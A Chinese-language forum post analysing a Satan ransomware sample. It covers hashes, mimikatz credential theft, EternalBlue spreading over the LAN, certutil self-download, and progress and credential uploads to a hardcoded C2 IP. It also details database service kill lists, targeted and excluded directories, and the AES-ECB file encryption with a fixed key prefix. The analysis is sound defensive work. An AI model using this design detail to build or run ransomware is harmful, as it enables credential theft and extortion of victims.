本帖最后由 Potato 于 2019-12-30 19:57 编辑
相关阅读:Satan勒索病毒家族详情,我是链接请点我!
一、 样本信息
文件名:Satan.exe
MD5:D298C3030FF17BB04DEC588AF1004F7A
SHA1:6B48E71F142F6D13B0DCF6217138FDF3436CFC88
二、 样本分析
Satan.exe
Satan病毒通过互斥量SSS_Scan保证病毒进程单例。病毒成功执行后,会释放多个PE文件到路径C:\\ProgramData。这些文件包括永恒之蓝漏洞利用工具集、windows密码抓取工具mmkt.exe(mimikatz)、文件加密程序cpt.exe。
释放完毕后,运行程序cpt.exe和mmkt.exe,cpt.exe用于加密文件,mmkt.exe负责抓取本地windows账户密码。抓取后的账户名和密码分别放入同目录下uname和upass文件中,然后由父进程Satan.exe将二者内容合并后,放入文件”C:\\Program Files\\Common Files\\System\\Scanlog”,Scanlog内容经处理后作为GET请求111.90.159.105/get.php的”url”参数值进行上传。
如:/get.php?hash=YF6UC1MAEMBGVVWR&url=HexString&from=WinPC&kind=report。
其中参数hash的值为16字节随机数字和大写字母串,参数url值由抓取的账户密码经base64编码后转16进制串(如’\x01’->’3031’)得到,from应该表示系统平台。
接着病毒利用永恒之蓝漏洞工具包扫描并尝试攻击受害主机所在的局域网中其他主机,通过对本地查询到的ip的主机号部分从0开始递增枚举,直到xx.xx.255.255结束。
如果攻击目标主机成功,在目标主机上调用windows自带工具certutil.exe下载恶意程序到本地保存为c:\\c.exe,并执行c.exe。下载后的c.exe与当前样本Satan.exe大小不一致,但是使用BinDiff比较后发现c.exe和当前样本Satan.exe十分吻合,并且两者执行后行为一致,所以c.exe应为更新后的Satan.exe。
cpt.exe
1. 自启动&UID生成
cpt成功开始执行后,为自身创建自启动项”Win0Start”;利用互斥量SATAN_CRYPT实现自身进程的单例执行。
接着病毒会生成40字节的随机数字字母串(0-9A-Z),作为被加密用户的UID值,如:4J8KP3E7FKHT2ZIV87DC1XQO12ENRMNBODW4DTLY。创建文件C:\\windows\\temp\\Ssession,将ID写入该文件。
病毒还将另外生成200字节的随机可见字符串,从以下字符串中随机抽取:
- ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+}{:<>?
200字节随机字符串与之前生成的UID进行拼接后得到240字节(Random200Bytes+UID)数据。利用RSA公钥加密算法和硬编码在病毒文件中的RSA(2096-bit)公钥对拼接后的240字节数据进行加密,加密后结果为512字节,在加密阶段将被作为尾部片段追加到被加密后文件。
2. 进程进度上传
在准备工作结束后,病毒进程在执行特定的操作前后,会连接远程IP:111.90.159.105,通过GET请求资源的参数上传当前进程的执行情况。比如进程在完成RSA加密用户ID后,即将进行正式工作前,会连接ip访问以下URI:
- /get.php?code=4J8KP3E7FKHT2ZIV87DC1XQO12ENRMNBODW4DTLY&file=0&size=0&sys=win&VERSION=5.5&status=start
URI中参数含义:
(1) code:用户ID;
(2) file:加密的文件数量;
(3) size:加密的数据总量;
(4) sys:操作系统类型;
(5) VERSION:该值硬编码在病毒中,应该表示的是病毒版本;
(6) status:表示当前病毒进程的执行情况,按执行顺序包括:start(开始加密前)、bak(指定目录加密结束后)、db(指定类型文件加密结束后)、done(避过指定类型文件加密结束后)。
3. 结束指定进程和服务
搜索文件和加密前,停止指定进程和服务。被关闭服务和进程大多与数据库相关,目的在于解除相关文件的占用,防止在加密文件时出现访问冲突,导致文件加密失败。
(1) 目标服务:
- MySQL
- MySQLa
- SQLWriter
- SQLSERVERAGENT
- MSSQLFDLauncher
- MSSQLSERVER
- UxSms
(2) 目标进程:
- calc.exe
- sqlservr.exe
- mysqld.exe
- nmesrvc.exe
- sqlagent.exe
- fdhost.exe
- fdlauncher.exe
- reportingservicesservice.exe
- omtsreco.exe
- tnslsnr.exe
- oracle.exe
- emagent.exe
- perl.exe
- sqlwriter.exe
4. 搜索文件进行加密
搜索Z-A盘,调用系统API DriveType获取磁盘类型,只针对对本地固定硬盘(DRIVE_FIXED)、网络磁盘(DRIVE_REMOTE)、可移动磁盘(DRIVE_REMOVABLE)进行搜索。
病毒搜索文件分四次进行,第1次只对指定目录进行文件搜索,第2、3、4次根据参数值不同(0、1、2)搜索时过滤扩展名方式也不相同。
首次搜索,通过拼接目标磁盘和指定目录获取搜索路径进行加密,比如:C:\\oracle\\*.*,D:\\db\\*.*等。这些指定目录包括:
- \Program Files\Microsoft SQL Server
- \Program Files\Mysql
- \Program Files\oracle
- \Program Files (x86)\Microsoft SQL Server
- \Program Files (x86)\Mysql
- \Program Files (x86)\oracle
- \oracle
- \database
- \data
- \db
- \app\Administrator\oradata
- \mysql
- \mssql
- \back
- \backup
- \dbbackup
- \databackup
- \JspStudy\MySQL\data
- \phpStudy\MySQL\data
- \ORACAL\Administrator\oradata
- \oracle12c
主要是数据库目录,数据备份目录。
4次搜索过程中都会避开以下文件夹,主要为系统运行相关目录、用户程序目录、杀软目录。
- windows
- python2
- python3
- microsoft games
- boot
- i386
- intel
- dvd maker
- recycle
- jdk
- libs
- all users
- 360rec
- 360sec
- 360sand
- favorites
- common files
- internet explorer
- msbuild
- public
- 360downloads
- windows defen
- windows mail
- windows media pl
- windows nt
- windows photo viewer
- windows sidebar
- default user
- temp
- 360safe
4次搜索都会避免加密如下文件:
- boot.ini
- .loop
- .conn
- .crypt
- .data
- .ltmp
- .hash
- desktop.ini
- star.fb
- blue.fb
- star.xml
- blue.xml
- uname
- upass
- _如何解密我的文件_.txt
在后面3次搜索中虽然每次过滤的扩展名不同,但是总的来说,除了以下扩展名外,其余类型文件都将被加密,只有搜索顺序的不同。
- session
- cab
- pol
- dll
- msi
- exe
- lib
- iso
- bin
- bmp
- tmp
- log
- ocx
- chm
- dat
- sys
- wim
- sdi
- lnk
- gho
- pbk
加密进程cpt.exe会为每一个搜索到的可加密文件创建一条加密线程进行加密。
5. 文件加密方式
当前样本加密文件内容采用的是对称加密算法AES,密钥长度32字节(256-bit),加密模式为电子密码本模式ECB(Electronic Codebook),即每个加密块(16字节)之间无关联。
对所有文件采用同一个AES密钥进行加密,该全局对称密钥共32字节,前16字节为常量字符串:qobt<r#XC6Rm4H&A。后16字节为随机可见字符串,在UID生成阶段与用户ID进行拼接后由攻击者RSA公钥进行加密(即该阶段的200字节随机可见字符的前16字节)。如:
进程每次读取16字节到内存进行加密后,写回文件,再次读取下一16字节片段,直至结束。
另外,如果文件大于等于10Mb,则文件内容每隔256字节加密256字节,最多处理到文件的16Gb偏移处即完成加密返回,也就是说每个文件最多加密8Gb内容。
而小于10Mb的文件将被全部加密。
以大于10Mb文件为例,文件加密流程以及加密后文件结构如下图:
6. 勒索信息提示文件
搜索加密文件过程中,病毒在每个可加密的磁盘下放置一个勒索信息提示文件” _如何解密我的文件_.txt”。所有加密动作完成后,病毒将打开勒索信息文件以提醒用户。
提示文件中索要的赎金为1个比特币,并告知部分可购买货币的网站,在加密后3天如果用户未支付则赎金翻倍,黑客应是通过病毒执行过程中上传的进程执行进度信息作为判断。
|
评论
直达楼层